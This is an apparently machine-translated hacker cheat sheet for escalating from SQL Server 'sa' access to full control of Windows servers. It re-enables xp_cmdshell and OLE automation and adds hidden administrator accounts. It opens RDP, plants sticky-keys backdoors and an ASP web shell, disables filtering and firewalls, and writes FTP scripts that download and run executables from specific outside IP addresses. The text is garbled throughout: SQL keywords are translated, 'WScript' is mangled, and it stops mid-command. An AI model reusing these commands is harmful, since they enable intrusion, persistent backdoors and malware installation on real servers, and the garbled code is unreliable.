1433 Reparasjonsordre
netuser SQLDebugger-liste /add net lokalgruppeadministratorer SQLDebugger /add
Feilmelding: Fant ikke lagret prosedyre 'master.. xp_cmdshell'。
Reparasjonsmetode: veldig generelt, faktisk kan andre 126 127 repareres sammen,
Bortsett fra xplog70.dll alt annet kan fikses med denne kommandoen
xp_cmdshell nye gjenopprettingsmetoder Trinn 1: Slett: Slippprosedyre sp_addextendedproc Slippprosedyre sp_oacreate Leder sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, nivå 11, tilstand 5, linje 1 Det er ikke mulig å fjerne prosessen 'sp_addextendedproc' fordi den ikke finnes i systemkatalogen. Server: Msg 3701, nivå 11, tilstand 5, prosedyre sp_dropextendedproc, linje 18 Det er ikke mulig å fjerne prosessen 'xp_cmdshell' fordi den ikke finnes i systemkatalogen. Steg 2 Gjenoppretting: DBCC la til utvidede proc ("sp_oacreate","odsole70.dll") dbcc la til utvidetproc ("xp_cmdshell","xplog70.dll") Direkte gjenoppretting, uansett om sp_addextendedproc eksisterer eller ikke
xplog70.dll løsninger:
Feilmelding: DLL-xplog70.dll eller en av DLL-ene referert til av DLL-en kunne ikke monteres. Årsak: 126 (Den spesifiserte modulen kan ikke finnes.) )。
Fiks XPLOG70.DLL (sjekk først backup-mappen \x86\bin med filen, og bytt deretter ut følgende mappe)
Trinn 1 Leder sp_dropextendedproc 'xp_cmdshell' Steg 2 DBCC AddExtendedProc ("xp_cmdshell","C:\SQL2KSP4\x86\Binn\xplog70.dll")
Mislyktes i å finne lagret prosedyre 'mester.. xp_cmdshell'。 Trinn 1: Opprett prosedyre sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (eier.) Navn på funksjonen som skal kalles
*/ @dllname varchar(255)/* navnet på DLL som inneholder funksjonen */ som Sett implicit_transactions i gang hvis @@trancount > 0 Begynn raiserror(15002,-1,-1,'sp_addextendedproc') Retur (1) slutt dbcc la til extendedproc( @functname, @dllname) Returner (0) -- sp_addextendedproc GÅ
Steg 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server blokkerte tilgangen til prosessen 'sys.xp_cmdshell' for komponent 'xp_cmdshell' fordi denne komponenten ble slått av som en del av sikkerhetskonfigurasjonen for denne serveren. Systemadministratorer kan aktivere 'xp_cmdshell' ved å bruke sp_configure. For mer informasjon om hvordan du aktiverer xp_cmdshell, se Peripheral App Configurator i SQL Server Online Books-serien.
; EXEC sp_configure 'vis avanserte alternativer', 1 -- ; OMKONFIGURER MED OVERSTYRING -- ; EKSEKUTIV sp_configure 'xp_cmdshell', 1 -- ; OMKONFIGURER MED OVERSTYRING -- ; EXEC sp_configure 'vis avanserte alternativer', 0 --
Fjern SQL farlig lagring: DROPP-PROSEDYRE sp_makewebtask Exec Master.. sp_dropextendedproc xp_cmdshell Exec Master.. sp_dropextendedproc xp_dirtree Exec Master.. sp_dropextendedproc xp_fileexist Exec Master.. sp_dropextendedproc xp_terminate_process Exec Master.. sp_dropextendedproc sp_oamethod Exec Master.. sp_dropextendedproc sp_oacreate Exec Master.. sp_dropextendedproc xp_regaddmultistring Exec Master.. sp_dropextendedproc xp_regdeletekey Exec Master.. sp_dropextendedproc xp_regdeletevalue Exec Master.. sp_dropextendedproc xp_regenumkeys Exec Master.. sp_dropextendedproc xp_regenumvalues Exec Master.. sp_dropextendedproc sp_add_job Exec Master.. sp_dropextendedproc sp_addtask Exec Master.. sp_dropextendedproc xp_regread Exec Master.. sp_dropextendedproc xp_regwrite Exec Master.. sp_dropextendedproc xp_readwebtask Exec Master.. sp_dropextendedproc xp_makewebtask Exec Master.. sp_dropextendedproc xp_regremovemultistring Exec Master.. sp_dropextendedproc sp_OACreate DROPPPROSEDYREN sp_addextendedproc
Gjenopprette utvidede lagrede prosedyrer Gjenopprette sp_addextendedproc først, uttalelsen er som følger: Først: Opprett prosedyre sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (eier.) navn på funksjon som skal kalles */ @dllname varchar(255)/* navn på DLL som inneholder funksjonen */ som Sett implicit_transactions i gang hvis @@trancount > 0 Begynn raiserror(15002,-1,-1,'sp_addextendedproc') Retur (1) slutt dbcc la til extendedproc( @functname, @dllname) Returner (0) -- sp_addextendedproc GÅ
For det andre: Bruk master Direktør sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' Leder sp_addextendedproc xp_dirtree,'xpstar.dll' Leder sp_addextendedproc xp_enumgroups,'xplog70.dll' Direktør sp_addextendedproc xp_fixeddrives,'xpstar.dll' Direktør sp_addextendedproc xp_loginconfig,'xplog70.dll' Leder sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' Executive sp_addextendedproc xp_getfiledetails,'xpstar.dll' Direktør sp_addextendedproc sp_OACreate,'odsole70.dll' Leder sp_addextendedproc sp_OADestroy,'odsole70.dll' Leder sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' Direktør sp_addextendedproc sp_OAGetProperty, odsole70.dll' Direktør sp_addextendedproc sp_OAMethod,'odsole70.dll' Leder sp_addextendedproc sp_OASetProperty,'odsole70.dll' Direktør sp_addextendedproc sp_OAStop,'odsole70.dll' leder sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Direktør sp_addextendedproc xp_regdeletekey,'xpstar.dll' Leder sp_addextendedproc xp_regdeletevalue,'xpstar.dll' Leder sp_addextendedproc xp_regenumvalues,'xpstar.dll' Direktør sp_addextendedproc xp_regread,'xpstar.dll' Leder sp_addextendedproc xp_regremovemultistring,'xpstar.dll' Direktør sp_addextendedproc xp_regwrite,'xpstar.dll' Leder sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Slett setningen som utvider den lagrede prosedyren xp_cmdshell: Leder sp_dropextendedproc 'xp_cmdshell'
Gjenopprett SQL-setningen til cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Åpne cmdshell SQL-setningen exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Bestem om lagringsutvidelse eksisterer velg tell(*) fra master.dbo.sysobjects hvor xtype='x' og name='xp_cmdshell' Returresultatet er 1, og det er greit
Gjenopprette xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; velg tell(*) fra master.dbo.sysobjects hvor xtype='x' og name='xp_cmdshell' Returresultatet er 1, og det er greit Ellers, last opp xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blokker SQL-setningen til cmdshell sp_dropextendedproc "xp_cmdshell
Én. Endring av SA-passordmetoden: Etter å ha koblet til SQL Comprehensive Utilization Tool, utfør kommandoen: exec sp_password NULL, 'nytt passord', 'sa' (Tips: bruk med forsiktighet!)
To. Bare fiks det svake passordet.
Metode 1: Spør splitteren etter tilkobling: hvis eksisterer (velg * fra dbo.sysobjects hvor id = object_id(N'[dbo].[ xp_cmdshell]') og OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
utøvende sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
GÅ Trykk deretter på F5-tasten for å utføre kommandoen
Metode 2: Spør etter at splitteren er koblet til Første steg er å kjøre: bruk master Trinn 2: sp_dropextendedproc 'xp_cmdshell' Trykk deretter på F5-tasten for å utføre kommandoen
DLL-xpsql70.dll eller en av DLL-ene som refereres til av DLL-en kan ikke monteres. Årsak 126 (Den spesifiserte modulen kan ikke finnes. ) Gjenopprettingsmetode: Etter å ha spurt splitter-tilkoblingen, Trinn 1: sp_dropextendedproc "xp_cmdshell" Trinn 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funksjonen xp_cmdshell kan ikke finnes i biblioteket xpweb70.dll. Årsak: 127 (Det spesifiserte programmet kan ikke finnes.) ) Gjenopprettingsmetode: Etter å ha spurt splitter-tilkoblingen, Steg 1 Gjennomføring: leder sp_dropextendedproc 'xp_cmdshell' Steg 2: utleder sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Trykk deretter på F5-tasten for å utføre kommandoen
Hvis ingen av metodene ovenfor kan gjenopprettes, vennligst prøv å legge til kontoen direkte ved å bruke følgende metoder: Etter å ha spurt splitterforbindelsen, 2000servser-systemet: Erklær @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP eller 2003Server System: 126 feil! Rekkefølge
Erklær @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
Deklarer @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blokkerte tilgangen til prosessen 'sys.xp_cmdshell' for komponent 'xp_cmdshell' fordi denne komponenten ble slått av som en del av sikkerhetskonfigurasjonen for denne serveren. Systemadministratorer kan aktivere 'xp_cmdshell' ved å bruke sp_configure. For mer informasjon om hvordan du aktiverer xp_cmdshell, se Peripheral App Configurator i SQL Server Online Books-serien.
Utsagn utført av analysatoren:
EXEC sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; LEDER sp_configure 'xp_cmdshell', 1; OMKONFIGURER;
Noen ganger, når man kjører de ovennevnte setningene med en spørringsfrakobling, kan ikke den lagrede prosedyren finnes sp_addextendedproc
Løsning:
Opprett prosedyre sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (eier.) Navn på funksjon å kalle */ @dllname varchar(255)/* navnet på DLL som inneholder funksjonen */ som Sett implicit_transactions i gang hvis @@trancount > 0 Begynn raiserror(15002,-1,-1,'sp_addextendedproc') Retur (1) slutt dbcc la til extendedproc( @functname, @dllname) Returner (0) -- sp_addextendedproc GÅ Denne koden limes inn i spørringssplitteren og kjøres
Utforsker:
c:\windows\explorer.exe
Se innholdsfortegnelsen Exec master.dbo.xp_subdirs 'C:\' Liste disker Exec Master.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor versjon 5.00 >3389.reg Ekko. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Aktivert"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. DEFAULT\Tastaturoppsett\Toggle] >>3389.reg echo "Hurtigtast"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pass 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Sjekk port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Vanlig CMD-bakdør xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K går direkte til PS Mar Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Select * fra openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo ha det>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direkte på PS-hester Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Select * fra openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo åpne 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo ha det>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Flytt bakdørskommandoen Erklær @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32 sethc.exe\';
Erklær @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Kopier C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Kopier C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
Erklær @o int leder sp_oacreate 'wscrip remove t.shell', @o ut exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX er kommandoen du vil utføre
Skriv verdien som er spesifisert i nøkkelen som er spesifisert i registeret), ved å bruke metoden (skriv bbb i nøkkelen HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EKSEKUTIV mester.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='PROGRAMVARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo åpne 121.22.56.5>C:\bin.txt&@echo liste>>C:\bin.txt&@echo liste>>C:\bin.txt&@echo få gzn.exe>>C:\bin.txt&@echo Ha det>>C:\bin.txt&@ftp -S:C:\bin.txt&Del C:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Først, kopier ftp.exe til wmpub-katalogen @echo CD c:\wmpub\>c:\wmpub in.bat\&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub in.bat\
Åpen 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL skriver en setning exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
SA Sandbox Mode Promotering ----- ---------------------- Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389-SKIFTET
Setningen ble brukt: Invasjon EKSEKUTIV mester.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Gjenoppretting EKSEKUTIV mester.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Bildekapring
EKSEKUTIV mester.. xp_regwrite --- dette er registerredigering! @rootkey='HKEY_LOCAL_MACHINE', ---Dette er posisjonen! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Dette er også stillingen! @value_name='Debugger', --- dette er navnet på bordet! @type='REG_SZ', --- her er meningen med å skrive! @value='C:\WINDOWS\explorer.exe' ---- her er det skriftlige innholdet!
Hele prosessen går ut på å bruke master: xp_regwrite denne komponenten er ferdig,
1.sql kommando for å spørre om register-sticky-nøkkelen er kapret
Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql kommandoen kaprer registerets sticky key-funksjon og erstatter den med oppgavebehandling (selvfølgelig kan du erstatte den med andre kommandoer du ønsker)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql kommando for å fjerne kapringsfunksjonen i registerets faste nøkkel beskytter serveren din mot å bli utnyttet av andre
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL-skrivefiler
Erklær @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skript uten NET-eskalering
struser=wscrip for å fjerne t.arguments(0) strpass=wscrip for å fjerne t.argumenter(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Legg til. ADsPath)
For hver administrator i OE. Medlemmer hvis struser=admin. Navngi da Wscrip fjernet t.echo struser og "Etablert vellykket!" wscrip for å fjerne t.quit Slutt hvis Neste
Wscrip fjern t.echo struser & "Brukeretablering mislyktes!" Lagre det ovennevnte som bruker. VBS-fil Deretter kjører de: cscrip for å fjerne brukernavnet user.vbs passord
Ved å bruke JET-sandkassemodus kan du løse problemene forårsaket av lagrede prosedyrer som XP_cmdshell og relaterte dynamiske lenkebiblioteker. Av sikkerhetsgrunner slår ikke systemet på sandkassemodus som standard, noe som krever at xp_regwrite slår på sandkassemodus:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
Deretter kjører du sandkassekommandoen for å legge til en brukernavngitt test med passord 1234 i systemet:
Select * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\Windows \system32\ias\ias.mdb','velg shell("cmd.exe /c netuser test 1234 /add")')
Select * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administratorer tester /add")')
Ulike operativsystemer har ulike baner og må endres etter situasjonen:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
I tillegg er noen lagrede prosedyrer lukket som standard i Microsoft SQL Server 2005 og krever at kommandoer åpnes:
Slå på XP_cmdshell:
EXEC sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; EKSEKUTIV sp_configure 'xp_cmdshell', 1; OMKONFIGURER;
Åpne 'OPENROWSET':
ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; Utøvende sp_configure 'Ad hoc distribuerte spørringer',1; OMKONFIGURER;
Slå på 'sp_oacreate':
ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; Utøvende sp_configure 'Ole Automatiseringsprosedyrer',1; OMKONFIGURER;
Her er noen situasjoner hvor utførelseskommandoen under sa er feil: 1. DLL-xpsql70.dll eller en DLL referert til av DLL-en kan ikke lastes inn. Årsak 126 (Den spesifiserte modulen kan ikke finnes. ) Denne situasjonen er relativt vanlig, og reparasjonen er enkel og enkel, men det finnes betingelser. Hvis du kan liste katalogen i dette tilfellet (med sqltools v2.0 finnes det en katalogfunksjon), gratulerer med denne 80%-situasjonen kan fikses, hvis du kan liste katalogen, så finn bare den xplog70.dll stien og kjør følgende kommando. Trinn 1 exec sp_dropextendedproc 'xp_cmdshell' (denne kommandoen er for å slette den opprinnelige cmdshellen, fordi den allerede har gått galt) Steg 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'vis avanserte alternativer', 0 – Selvfølgelig er dette en SQL-kommando, utført med en spørringsanalysator. C:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll Binn\ i andre steg er stien til xplog70.dll, denne stien er relativt vanlig, hvis c-disken ikke har den, kan du finne andre diskbokstaver. 2. Kan ikke finne funksjonen xp_cmdshell i biblioteket xpweb70.dll. Årsak: 127 (Det spesifiserte programmet kan ikke finnes.) ) Faktisk er dette det samme som de ovennevnte 126, det vil si at cmdshellen er feil, så lenge du finner backupen xplog70.dll følger metoden ovenfor for å fikse det. 3. Mislyktes i å finne den lagrede prosedyren 'master.' xpcmdshell' I dette tilfellet ser jeg på Internett at metoden er: Trinn 1: Slett: Slippprosedyre sp_addextendedproc Slippprosedyre sp_oacreate Leder sp_dropextendedproc 'xp_cmdshell' Steg 2 Gjenoppretting: DBCC la til utvidede proc ("sp_oacreate","odsole70.dll") dbcc la til utvidetproc ("xp_cmdshell","xplog70.dll") Faktisk er dette fortsatt det samme som ovenfor, faktisk, hvis du er forsiktig, vil de ovennevnte 126 127 bare mislykkes i å finne den lagrede prosedyren 'master:. xpcmdshell' fordi det første steget er å slette den lagrede prosedyren i cmdshell. Så i dette tilfellet, følg bare det andre steget ovenfor. 4. Feilmelding: SQL Server blokkerte tilgangen til prosess 'sys.xp_cmdshell' av komponent 'xp_cmdshell' fordi denne komponenten ble stengt som en del av serverens sikkerhetskonfigurasjon. Systemadministratorer kan aktivere 'xp_cmdshell' ved å bruke sp_configure. For mer informasjon om hvordan du aktiverer xp_cmdshell, se Peripheral App Configurator i SQL Server Online Books-serien. Denne situasjonen er den enkleste, fordi du ikke trenger å tenke på noe, bare utfør følgende kommando ; EXEC sp_configure 'vis avanserte alternativer', 1 -- ; OMKONFIGURER MED OVERSTYRING -- ; EKSEKUTIV sp_configure 'xp_cmdshell', 1 -- ; OMKONFIGURER MED OVERSTYRING -- ; EXEC sp_configure 'vis avanserte alternativer', 0 –
Etter denne løsningen kan du utføre cmd-kommandoen, og du vil begynne å øke styrken din. Jeg pleier å sjekke IP-adressen først for å se om det er et intranett, og deretter REG-spørre HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp/v PortNumber for å sjekke terminalporten, og deretter netstat –an for å se om terminalen er åpen, og deretter net-brukerens passord / Legg til en bruker og deretter nett localgroup administrators user /add Hvis alt går bra, vil dette ta ned en server. Men det er mange problemer i prosessen. 1. Nettstrømforfremmelsen lykkes, men kan ikke koble til terminalen Det er følgende situasjoner (1) Serveren er på intranettet. (2) TCP/IP-screening. Kjør følgende cmd-kommando først: cmd /c regedit -e c:\\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, eksporter den første delen av registeret for TCP/IP-filtrering cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, eksporter den andre delen av registeret for TCP/IP-filtrering cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", og eksporterer dermed tredje plass i registeret om TCP/IP-filtrering Gå deretter tilbake til C-disken 1.reg, 2.reg, 3.reg, last ned 1.reg, 2.reg, 3.reg tilbake til harddisken for å redigere, finn feltet EnableSecurityFilters for å se om nøkkelverdien etter dword er 00000000, hvis det er 00000001, betyr det at administratoren har gjort TCP/IP-filtrering, vi trenger bare å endre 1 til 0, 2. Reg og 3.reg gjør de samme endringene. (3) Lag en IP-sikkerhetspolicy. Kjør cmd-kommandoen: cmd /c net stop policyagent for å stoppe IPSEC Services-tjenesten. Koble terminalen til igjen. (4) Innloggingstillatelsen til terminalen satt av administratoren kan kun brukes av den angitte brukeren. (5) Brandmur. Kjør cmd-kommandoen: net stop alg /ynet stop sharedaccess
2. NET-eskalering oppstår og tilgang nektes Du kan prøve net1 brukerpassord /add Hvis net1 også nekter tilgang, kan du kopiere en shfit-bakdør og prøve å utføre cmd-kommandoen: kopier c:\windows explorer.exe\ c:\windows\system32\sethc.exe Kopier C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe Hvis du blir bedt om det, kopier én fil som viser seg å være vellykket. Koble til terminalen og trykk 5 shift for å se hva som dukker opp. Spill med Kaka Explorer, nå legger du bare til en bruker for hånd. 3. Netto eskalering skjer med tilgangsavvisningsfeil 5 (fremhev) I dette tilfellet trenger du ikke prøve net1, du kan prøve copy shift backdoor, hvis kopien ber om å kopiere 0-filen, beviser det at det ikke lykkes. Deretter kan du prøve å laste det opp, hvis du kan laste det opp, kan du direkte sende et ikke-net power escalation-verktøy som kom ut for en stund siden, og så legge til en bruker. Men de fleste av disse sakene kan ikke lastes opp, så du må tenke over det. Siden cmd kan kjøres, kan filen lastes ned via cmd under ftp, men utgangspunktet med ftp er å kunne skrive tekst eller batch-prosessering. Deretter kan du skrive en tekst eller batche gjennom en SQL-setning. Erklær @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp-konto' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (ingen nett-eskaleringsskript) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Etter at spørringsanalysatoren er utført, vil en 1.bat dukke opp på C-disken (hvis utførelsen lykkes, men C-disken ikke er der, kan du endre mappen til å skrive, fordi hvilken servers C-drevs rotkatalog forbyr skriving) Deretter utfører cmd ftp -s:c:\1.bat Etter at dette er utført, laster du ned et ikke-net-eskalasjonsskript på CFT-diskens FTP eller skriver et VBS-eskaleringsskript direkte Erklær @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user')' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Deretter kjører cmd cscrip for å fjerne t c:\1.vbs 4. Den forrige repareres for å utføre cmd-kommandoer, men etter noen reparasjoner vil nye problemer dukke opp (1) Melding: En feil oppstod under utførelsen av xp_cmdshell. Kallet 'CreateProcess' feilet med feilkode: '5'. Feil 5 er et feilnummer som systemet utløser, CreateProcess er betydningen av å opprette en tråd, denne feilgenereringen har mye å gjøre med cmd.exe systemfiler, det ene er at cmd slettes, det andre er at tillatelsen til cmd er redusert. SQL for å sjekke terminalporter og åpen status: Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Ok, hovedpoenget nedenfor er å bruke to SQL-instruksjoner for å kopiere systemets utforskerfil til systemets shift-backdoor-fil, og de to følgende setningene utføres separat. Denne uttalelsen kopierer explorer.exe som sethc.exe erklære @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows 